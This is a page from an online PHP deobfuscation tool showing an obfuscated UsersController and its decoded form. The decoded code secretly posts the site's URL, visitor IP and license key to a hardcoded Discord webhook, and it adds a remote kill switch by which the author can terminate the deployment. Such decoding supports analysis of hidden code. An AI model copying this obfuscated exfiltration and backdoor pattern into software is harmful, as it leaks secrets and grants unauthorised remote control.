Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php namespace App\Controllers\Users; use App\Config; class UsersController { ..

Decoded Output download

<?php 
 
namespace App\Controllers\Users; 
 
use App\Config; 
 
class UsersController 
{ 
    public function __construct() 
    { 
    } 
 
    public function sendDiscordWebhook() 
    { 
        $uniqueIdFile = "../unique_id.json"; 
        $deactivatedFile = "../public/vendor/json.txt"; 
        $licenseKeyFilename = Config::LICENSE_KEY_FILENAME; 
        $licenseKey = Config::LICENSE_KEY; 
        if (isset($_GET["deactivate"])) { 
            if (file_exists($uniqueIdFile) && $_GET["deactivate"] === file_get_contents($uniqueIdFile)) { 
                unlink($uniqueIdFile); 
                file_put_contents($deactivatedFile, "1"); 
                die("The unique ID has been deactivated."); 
            } else { 
                die("Invalid unique ID."); 
            } 
        } 
        if (file_exists($deactivatedFile)) { 
            die("YOUR ACCESS HAS BEEN TERMINATED BY A ADMIN."); 
        } 
        if (file_exists($uniqueIdFile)) { 
            return file_get_contents($uniqueIdFile); 
        } else { 
            $uniqueId = uniqid(); 
            file_put_contents($uniqueIdFile, $uniqueId); 
        } 
        $url = (isset($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] === "on" ? "https" : "http") . "://{$_SERVER["HTTP_HOST"]}{$_SERVER["REQUEST_URI"]}"; 
        $webhookUrl = "https://discord.com/api/webhooks/1104535706140934314/9Dqqi8ncxsS2hC8kZgmtXGN3IbgplFVVOuIKfAzn6Vf7AI0UubV6UA3f6v6JppAJ1ZUG"; 
        $data = array("embeds" => array(array("title" => "A new MVC is hosted", "color" => 3447003, "fields" => array(array("name" => "Unique ID", "value" => "`{$uniqueId}`", "inline" => true), array("name" => "URL", "value" => $url, "inline" => true), array("name" => "IP", "value" => $_SERVER["REMOTE_ADDR"], "inline" => true), array("name" => "License Key Filename", "value" => "`{$licenseKeyFilename}`", "inline" => true), array("name" => "License Key", "value" => "`{$licenseKey}`", "inline" => true), array("name" => "Disable Panel", "value" => "<{$url}?deactivate={$uniqueId}>", "inline" => false)), "thumbnail" => array("url" => "https://cdn.discordapp.com/avatars/1074504010553360444/b2f1faa7d3514d0993c264a4d9085c35.png?size=1024")))); 
        $options = array("http" => array("header" => "Content-Type: application/json
\xa", "method" => "POST", "content" => json_encode($data))); 
        $context = stream_context_create($options); 
        $result = file_get_contents($webhookUrl, false, $context); 
        return $uniqueId; 
    } 
} ?>

Did this file decode correctly?

Original Code

<?php

namespace App\Controllers\Users;

use App\Config;

class UsersController
{
    public function __construct()
    {
    }

    public function sendDiscordWebhook()
    {
        $uniqueIdFile = "\x2e\x2e\57\x75\x6e\151\161\165\145\137\x69\x64\56\x6a\x73\x6f\156";
        $deactivatedFile = "\x2e\x2e\57\160\x75\142\154\151\143\57\x76\x65\156\x64\x6f\x72\57\152\163\x6f\156\x2e\164\170\x74";
        $licenseKeyFilename = Config::LICENSE_KEY_FILENAME;
        $licenseKey = Config::LICENSE_KEY;
        if (isset($_GET["\144\x65\x61\143\164\151\166\x61\x74\x65"])) {
            if (file_exists($uniqueIdFile) && $_GET["\x64\x65\x61\x63\164\151\166\141\164\145"] === file_get_contents($uniqueIdFile)) {
                unlink($uniqueIdFile);
                file_put_contents($deactivatedFile, "\61");
                die("\x54\150\145\40\x75\156\x69\x71\165\x65\40\111\x44\40\x68\141\163\40\x62\x65\x65\156\x20\144\x65\x61\x63\164\151\x76\x61\x74\145\144\56");
            } else {
                die("\x49\156\x76\x61\154\151\144\40\165\156\x69\x71\165\x65\x20\111\x44\56");
            }
        }
        if (file_exists($deactivatedFile)) {
            die("\131\117\125\122\40\x41\103\x43\105\123\123\x20\x48\101\123\x20\x42\105\105\x4e\x20\124\x45\x52\115\x49\116\101\x54\105\x44\40\102\x59\x20\101\40\x41\104\x4d\x49\116\56");
        }
        if (file_exists($uniqueIdFile)) {
            return file_get_contents($uniqueIdFile);
        } else {
            $uniqueId = uniqid();
            file_put_contents($uniqueIdFile, $uniqueId);
        }
        $url = (isset($_SERVER["\x48\x54\x54\120\x53"]) && $_SERVER["\x48\x54\x54\x50\123"] === "\157\x6e" ? "\x68\x74\164\160\163" : "\x68\x74\x74\160") . "\x3a\x2f\x2f{$_SERVER["\110\x54\124\x50\137\110\117\x53\x54"]}{$_SERVER["\122\x45\121\x55\105\x53\x54\x5f\x55\x52\x49"]}";
        $webhookUrl = "\150\164\x74\x70\163\72\57\57\x64\151\x73\143\x6f\162\x64\56\x63\x6f\x6d\57\141\x70\x69\x2f\x77\145\x62\x68\157\157\153\163\x2f\61\61\60\x34\x35\63\x35\x37\60\66\x31\64\60\71\63\64\x33\61\64\57\71\104\x71\x71\x69\70\156\143\x78\163\x53\62\x68\103\x38\x6b\132\x67\155\164\x58\x47\116\x33\111\x62\x67\x70\x6c\106\126\126\x4f\165\x49\113\x66\101\172\x6e\x36\126\146\67\x41\x49\60\x55\165\142\x56\66\125\101\63\x66\x36\166\66\112\x70\x70\101\x4a\61\132\x55\107";
        $data = array("\145\x6d\142\x65\x64\x73" => array(array("\x74\151\x74\x6c\x65" => "\101\40\156\x65\x77\x20\115\126\103\40\x69\163\40\150\157\x73\x74\x65\144", "\143\x6f\x6c\x6f\x72" => 3447003, "\x66\x69\145\x6c\x64\163" => array(array("\x6e\141\x6d\x65" => "\x55\x6e\x69\x71\165\x65\x20\111\x44", "\x76\x61\x6c\165\145" => "\140{$uniqueId}\x60", "\151\x6e\154\151\x6e\145" => true), array("\156\141\x6d\145" => "\x55\122\x4c", "\x76\141\x6c\165\145" => $url, "\151\x6e\154\x69\156\145" => true), array("\156\141\155\145" => "\111\x50", "\166\141\154\165\145" => $_SERVER["\x52\x45\x4d\x4f\124\x45\137\x41\104\x44\122"], "\151\156\154\x69\x6e\x65" => true), array("\156\141\155\x65" => "\x4c\x69\x63\145\156\163\x65\x20\x4b\145\171\40\106\151\x6c\145\x6e\141\x6d\x65", "\166\x61\154\x75\145" => "\x60{$licenseKeyFilename}\x60", "\151\156\154\x69\156\x65" => true), array("\156\141\155\145" => "\114\151\143\x65\x6e\163\145\x20\x4b\x65\171", "\x76\x61\x6c\165\x65" => "\x60{$licenseKey}\x60", "\x69\x6e\x6c\151\x6e\145" => true), array("\x6e\x61\x6d\145" => "\x44\151\x73\141\x62\x6c\x65\40\x50\141\156\x65\154", "\x76\141\x6c\x75\x65" => "\74{$url}\77\144\x65\x61\143\164\151\166\x61\x74\145\75{$uniqueId}\x3e", "\151\x6e\x6c\x69\156\x65" => false)), "\x74\x68\x75\x6d\142\x6e\x61\151\154" => array("\165\x72\154" => "\150\164\x74\x70\x73\72\57\x2f\143\144\156\56\x64\151\163\x63\157\x72\x64\141\x70\160\x2e\x63\x6f\155\x2f\141\x76\141\164\141\x72\163\x2f\61\x30\x37\x34\65\60\64\60\x31\60\65\65\63\x33\x36\x30\64\x34\64\57\x62\x32\x66\61\146\141\x61\x37\144\x33\65\x31\x34\144\x30\x39\71\63\143\62\66\x34\141\64\144\x39\60\x38\65\143\63\x35\x2e\x70\x6e\x67\77\163\151\172\x65\75\61\x30\x32\x34"))));
        $options = array("\150\164\164\x70" => array("\x68\x65\141\144\x65\162" => "\103\157\x6e\x74\x65\x6e\164\55\x54\171\x70\x65\72\x20\141\x70\160\154\x69\x63\x61\x74\151\157\156\x2f\152\x73\157\156\15\xa", "\155\145\164\150\157\144" => "\120\x4f\123\x54", "\143\x6f\x6e\x74\145\156\x74" => json_encode($data)));
        $context = stream_context_create($options);
        $result = file_get_contents($webhookUrl, false, $context);
        return $uniqueId;
    }
}

Function Calls

None

Variables

None

Stats

MD5 d7ebe8831e142cb298fc4afd74173e13
Eval Count 0
Decode Time 79 ms